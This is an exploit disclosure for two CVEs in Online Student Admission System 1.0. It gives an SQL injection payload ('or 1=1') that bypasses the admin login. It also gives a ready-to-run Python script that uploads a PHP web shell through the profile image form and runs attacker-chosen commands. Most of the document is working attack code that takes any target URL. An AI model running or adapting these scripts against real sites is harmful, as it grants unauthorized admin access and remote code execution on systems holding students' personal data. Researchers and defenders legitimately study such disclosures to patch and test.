Online Student Admission System 1.0 - Multiple Vulnerabilities

Exploit Title: Online Student Admission System 1.0 - SQL injection bypass (Unauthenticated)
Date: October 21th, 2021
Exploit Author: Gerard Carbonell (@3t3rn4l P4r4d0x)
Vendor Homepage: https://www.sourcecodester.com/php/14874/online-student-admission-system.html
Software Link: https://www.sourcecodester.com/php/14874/online-student-admission-system.html
Version: 1.0
Tested On: Linux (x86_64 GNU) and Windows 10
CVE: CVE-2021-37371

High level explanation:
Online Student Admission System 1.0 is affected by an unauthenticated SQL injection bypass vulnerability in /admin/login.php which leads to getting admin.

Proof of Concept:

1. Go to: /admin/login.php.
2. Then inject with the following payload: "**username=' or 1=1; -- -&password=' or 1=1; -**"
3. You are now web admin ;)

Exploit Code:

```
import sys,requests
from colorama import Fore

RED = Fore.RED
GREEN = Fore.GREEN
RESET = Fore.RESET
BLUE = Fore.BLUE

domain = sys.argv[1]


def banner():


    print(BLUE + """


_________  ___________       ___________  ______  ___        ____________________  ___
\_   __ \  \ /  /\_   ____/      \____ \  _ \ \____ \/_  |      \____ \\____ \\____ \/_  |
/   \ \/\  Y  / |   __)_  _____ /  ___/ /_\ \ / ___/|  | _____  _(__  <  /   / _(__  <  /   /|  |
\    \___\   /  |      \/_____/ /     \ \_/  \/     \|  |/_____/ /       \/   //       \/   / |  |
```

```
 \____ / \__/  /_____ /     \_____ \___ /\_____ \|__|     /____ //___/ /____ //___/  |__|
     \/           \/           \/   \/     \/             \/         \/
"""  + RESET)
    print(RED + "made by Gerard Carbonell (@3t3rn4l P4r4d0x)\n" + RESET)
    print(RED + "Automates the admin sql bypass process \n" + RESET)
    print(RED +"Usage: %s <domain>"  % (sys.argv[0]) + RESET + "\n")
    print( RED + "Example: python3 CVE-2021-37371.py http://localhost/online-
admission-system-ritman/online-admission-system-RITMAN/" + RESET + '\n')




def loginBypass():
    session = requests.session()
    url = "%s/admin/login.php" % (domain)
    data = {"txtusername": "username=' or 1=1; -- -&password' or 1=1; -- -",
"txtpassword": '', "btnlogin": ''}
    response = session.post(url, data=data)

    if "No. of Successful Applicants" in response.text:
        print( GREEN + "[+] Successfully logged in as admin [+]" + RESET)
    else:
        print(RED + "[-] You are not admin, try again! :c [-]" + RESET)



def main():
    banner()

    if len(sys.argv) != 2 :
        print("usage: %s <domain>") % (sys.argv[0])

    loginBypass()


if __name__ == "__main__":
    main()
```

==========
##########
==========

Exploit Title: Online Student Admission System 1.0 – Insecure File Upload RCE
Date: October 21th, 2021
Exploit Author: Gerard Carbonell (@3t3rn4l P4r4d0x)
Vendor Homepage: https://www.sourcecodester.com/php/14874/online-student-admission-system.html
Software Link: https://www.sourcecodester.com/php/14874/online-student-admission-system.html
Version: 1.0
Tested On: Linux (x86_64 GNU) and Windows 10
CVE: CVE-2021-37372

High level explanation:

Online Student Admission System 1.0 is affected by an insecure file upload vulnerability. A low privileged user can upload malicious PHP files by updating their profile image to gain remote code execution

Proof of Concept:

1. Once logged in as a user, navigate to: /user/edit-profile.php
2. Go to the bottom, in browse, and upload a php file
3. Finally go to /upload/<whatever name you wrote>.php

Exploit Code:

```
import sys,requests
from colorama import Fore

RED = Fore.RED
GREEN = Fore.GREEN
RESET = Fore.RESET
BLUE = Fore.BLUE
WHITE = Fore.WHITE


domain = sys.argv[1]
```

```
def banner():


   print(BLUE + """
_________  ___________       ___________  ______  ___       ___________________________
\_   __ \  \ /  /\_  ____/      \____ \  _ \ \____ \/_  |      \____ \_____ \____ \_____ \____ \
/   \ \/\  Y  / |   __)_  _____ / ___/ /_\ \ / ___/ |  | _____  _(__ <  /   / _(__ <  /   // ___/
\    \___\    /  |      \ /____/ /     \ \_/  \/     \ |  |/____/ /     \ /   / //     \ /   //     \
 \_____  / \__/  /_____  /      \_____ \____  /\_____ \|__|      /_____ //___/ /_____ //___/ \_____ \/
       \/             \/             \/    \/      \/               \/           \/           \/
""" + RESET)


    print(RED + "made by Gerard Carbonell (@3t3rn4l P4r4d0x)\n" + RESET)
    print(RED + "Automates the insecure file upload rce process (requires
valid user credentials) to a webshell \n" + RESET)
    print(RED +"Usage: %s <domain> <email> <application id> <webshell
command>"  % (sys.argv[0]) + RESET + "\n")
    print( RED + "Example: python3 CVE-2021-37372.py http://localhost/online-
admission-system-ritman/online-admission-system-RITMAN/ test@test.com 1234
whoami" + RESET + '\n')


USER = sys.argv[2]
APPID = sys.argv[3]
WSCOMMAND = sys.argv[4]

def loginAndFileUpload():

    session = requests.Session()

    #STEP 1: LOGGING IN

    url = "%s/user/login.php" % (sys.argv[1])
    session.get(url)

    data = {"txtemail": USER , "txtapplicationID": APPID , "btnlogin": ''}
    session.post(url,data=data)

    url2 = "%s/user/index.php"  % (sys.argv[1])
    response = session.get(url2)


    if "Welcome to your Dashboard" in response.text:
        print( WHITE + "[+] Successfully logged in with email: " + RESET +
GREEN +  USER  + WHITE  + " and application id: " + RESET + GREEN  + APPID  +
RESET  + " [+]")
    else:
```

```
        print( WHITE + "[-] Failed to login with email: " + RESET + RED
+  USER  + WHITE  + " and application id: " + RESET + RED  + APPID  + RESET  +
" [-]")

   #STEP 2: FILE UPLOAD via Profile

    url = "%s/user/edit-profile.php"% (sys.argv[1])
    data = "-----------------------------
227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"txtfullname\"\r\n\r\nInemesit Idara\r\n-----------------------------
-227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"cmdsex\"\r\n\r\nMale\r\n-----------------------------
227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"txtphone\"\r\n\r\n0904355343\r\n-----------------------------
227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"txtlga\"\r\n\r\nItu\r\n-----------------------------
227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"txtstate\"\r\n\r\nAkwa Ibom\r\n-----------------------------
227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"txtjamb\"\r\n\r\n46576878BA\r\n-----------------------------
227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"txtscore\"\r\n\r\n219\r\n-----------------------------
227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"txtexam\"\r\n\r\nWAEC/2019\r\n-----------------------------
227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"txtfaculty\"\r\n\r\n\r\n-----------------------------
227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"txtdept\"\r\n\r\nCIvil Engineering\r\n-----------------------------
227309484019674816303669068211\r\nContent-Disposition: form-data;
name=\"userImage\"; filename=\"ws.php\"\r\nContent-Type: application/x-
php\r\n\r\n <?php echo shell_exec($_GET['cmd']); ?>\n\n\r\n---------------
--------------227309484019674816303669068211\r\nContent-Disposition: form-
data; name=\"btnedit\"\r\n\r\n\r\n-----------------------------
227309484019674816303669068211--\r\n"
    session.post(url, data=data)

    url = "%s/upload/ws.php?cmd=%s" % (sys.argv[1],WSCOMMAND)
    response = session.get(url)
    print(WHITE + "\nWebshell output:\n" + response.text)


def main():
    banner()

    if len(sys.argv) != 5 :
        print("usage: %s <domain> <email> <application id> <webshell
command>") % (sys.argv[0])

    loginAndFileUpload()
```

```python
if __name__ == "__main__":
    main()
```

==========
##########
==========